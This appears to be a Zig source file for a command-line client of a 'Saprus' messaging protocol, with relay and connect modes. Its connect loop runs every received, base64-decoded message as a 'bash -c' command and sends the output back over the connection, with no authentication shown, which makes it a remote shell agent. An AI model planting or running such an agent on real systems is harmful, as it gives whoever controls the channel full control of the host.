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|
const is_debug = builtin.mode == .Debug;
const help =
\\-h, --help Display this help and exit.
\\-r, --relay <str> A relay message to send.
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
\\-c, --connect <str> A connection message to send.
\\
;
const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
.{ "-h", .help },
.{ "--help", .help },
.{ "-r", .relay },
.{ "--relay", .relay },
.{ "-d", .dest },
.{ "--dest", .dest },
.{ "-c", .connect },
.{ "--connect", .connect },
});
pub fn main(init: std.process.Init) !void {
// CLI parsing adapted from the example here
// https://codeberg.org/ziglang/zig/pulls/30644
const args = try init.minimal.args.toSlice(init.arena.allocator());
if (args.len == 1) {
std.debug.print("{s}", .{help});
return;
}
var flags: struct {
relay: ?[]const u8 = null,
dest: ?[]const u8 = null,
connect: ?[]const u8 = null,
} = .{};
{
var payload_buf: [4096]u8 = undefined;
var i: usize = 1;
while (i < args.len) : (i += 1) {
if (to_option.get(args[i])) |opt| {
switch (opt) {
.help => {
std.debug.print("{s}\n", .{help});
return;
},
.relay => {
i += 1;
if (i < args.len) {
var w: Writer = .fixed(&payload_buf);
try w.printBase64(args[i]);
flags.relay = w.buffered();
} else {
std.debug.print("-r/--relay requires a string\n", .{});
return error.InvalidArguments;
}
},
.dest => {
i += 1;
if (i < args.len) {
flags.dest = args[i];
} else {
std.debug.print("-d/--dest requires a string\n", .{});
return error.InvalidArguments;
}
},
.connect => {
i += 1;
if (i < args.len) {
var w: Writer = .fixed(&payload_buf);
try w.printBase64(args[i]);
flags.connect = w.buffered();
} else {
flags.connect = "";
}
},
}
} else {
std.debug.print("Unknown argument: {s}\n", .{args[i]});
return error.InvalidArguments;
}
}
}
if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
return error.InvalidArguments;
}
var client: SaprusClient = try .init();
defer client.deinit();
if (flags.relay != null) {
try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest));
return;
}
if (flags.connect != null) {
reconnect: while (true) {
var connection = try client.connect(init.io, flags.connect.?);
while (true) {
var res_buf: [2048]u8 = undefined;
const next = connection.next(init.io, &res_buf) catch continue :reconnect;
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
// TODO: debug log
continue;
};
const child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
.stdout = .pipe,
.stderr = .pipe,
}) catch continue;
var child_stdout: std.ArrayList(u8) = .empty;
defer child_stdout.deinit(init.gpa);
var child_stderr: std.ArrayList(u8) = .empty;
defer child_stderr.deinit(init.gpa);
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048);
const b64e = std.base64.standard.Encoder;
var cmd_output_buf: [2048]u8 = undefined;
const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
connection.send(init.io, encoded_cmd_output) catch continue;
try init.io.sleep(.fromMilliseconds(40), .real);
}
}
}
unreachable;
}
fn parseDest(in: ?[]const u8) [4]u8 {
if (in) |dest| {
if (dest.len <= 4) {
var res: [4]u8 = @splat(0);
@memcpy(res[0..dest.len], dest);
return res;
}
const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
return addr.bytes;
}
return "disc".*;
}
const builtin = @import("builtin");
const std = @import("std");
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const Writer = std.Io.Writer;
|
